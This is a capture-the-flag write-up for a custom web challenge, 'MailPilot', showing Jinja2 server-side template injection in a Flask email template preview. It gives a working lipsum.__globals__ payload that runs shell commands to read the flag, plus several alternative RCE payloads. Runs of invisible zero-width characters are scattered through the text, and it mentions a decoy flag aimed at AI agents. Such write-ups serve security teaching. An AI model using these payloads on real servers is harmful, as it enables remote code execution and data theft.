← Back to Writeups
CUSTOMEasyWeb

MailPilot — SSTI in Template Preview

XESXOR9/2/20263 min read
#web#custom#easy#rce_via_lipsum_globals#ssti_jinja2#template_preview_abuse

MailPilot — SSTI in Template Preview

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: rce_via_lipsum_globals, ssti_jinja2, template_preview_abuse

Summary

Walkthrough of the CUSTOM Web MailPilot — SSTI in Template Preview. Task: Flask/Jinja2 email marketing platform with template preview feature that renders user-supplied templates via render_template_string(). Solution: Exploited SSTI through lipsum.globals['os'].p

Description

MailPilot is an email marketing automation platform. Users can create campaigns, manage subscriber lists, and design email templates with a visual preview feature. The platform includes a template preview functionality that renders email templates before sending. Investigate how the template rendering engine handles user input.

Objective: Find a Server-Side Template Injection (SSTI) vulnerability that allows you to execute code on the server. The flag is stored in /tmp/flag.txt.

Test credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Flask/Jinja2 email marketing platform with a template preview feature at /templates/preview. The goal is to exploit SSTI in the template rendering engine to achieve RCE and read /tmp/flag.txt.

Analysis

After logging in with the provided credentials (user@test.com / password123), the MailPilot dashboard reveals a full email marketing platform with sections: Dashboard, Campaigns, Templates, Subscribers, and Settings.

The Templates section at /templates/ lists 8 email templates (Welcome Email, Monthly Newsletter, Promotional Offer, etc.) using Jinja2 template variables like {{company_name}}, {{subscriber_name}}, etc. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The critical feature is the "Preview & Test" button linking to /templates/preview, which provides:

  • A textarea for template_content (HTML with Jinja2 template variables)
  • A textarea for variables (JSON object with variable values)
  • A "Render Preview" button that POSTs to /templates/preview

The help text explicitly states: "Write HTML email content with Jinja2 template variables for personalization. Use double curly braces for variables: {{ variable_name }}" — and the quick reference shows Jinja2 syntax including {{ variable }}, {% if %}, {% for %}, {{ name|upper }}. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This is a textbook SSTI setup: user-controlled content is passed directly to render_template_string() (or equivalent) without sanitization.

Decoy trap: The application contains a honeypot decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} hidden in HTML comments and invisible divs on every page, designed to trick automated scanners and AI agents. This is not the real flag.

Solution

Step 1: Login

Authenticated with the provided test credentials:

  • Email: user@test.com
  • Password: password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Confirm SSTI

Navigated to /templates/preview and submitted a basic SSTI test payload as template_content:

{{7*7}}

The rendered output showed 49 instead of the literal text {{7*7}}, confirming that user input is being evaluated as a Jinja2 template expression.

Step 3: RCE via Jinja2 lipsum globals

Used the lipsum object — a built-in Jinja2 global function — to traverse Python's object hierarchy and access the os module:

{{lipsum.__globals__["os"].popen("cat /tmp/flag.txt").read()}}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

How this works:

  1. lipsum is a Jinja2 built-in function (generates lorem ipsum text) available in all templates
  2. lipsum.__globals__ accesses the Python global namespace of the module where lipsum is defined
  3. The os module is already imported in that namespace
  4. os.popen("cat /tmp/flag.txt") executes the shell command
  5. .read() returns the command output as a string

The rendered preview output contained the flag.

Alternative payloads that would also work

jinja2
{# MRO chain approach #}
{{''.__class__.__mro__[1].__subclasses__()[X]('cat /tmp/flag.txt',shell=True,stdout=-1).communicate()}}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

{# cycler/joiner/namespace approach #}
{{cycler.__init__.__globals__.os.popen('cat /tmp/flag.txt').read()}}

{# config/request objects #}
{{config.__class__.__init__.__globals__['os'].popen('cat /tmp/flag.txt').read()}}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering rce_via_lipsum_globals, ssti_jinja2, template_preview_abuse was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-04-30 • CUSTOM • MailPilot — SSTI in Template Preview • Difficulty: Easy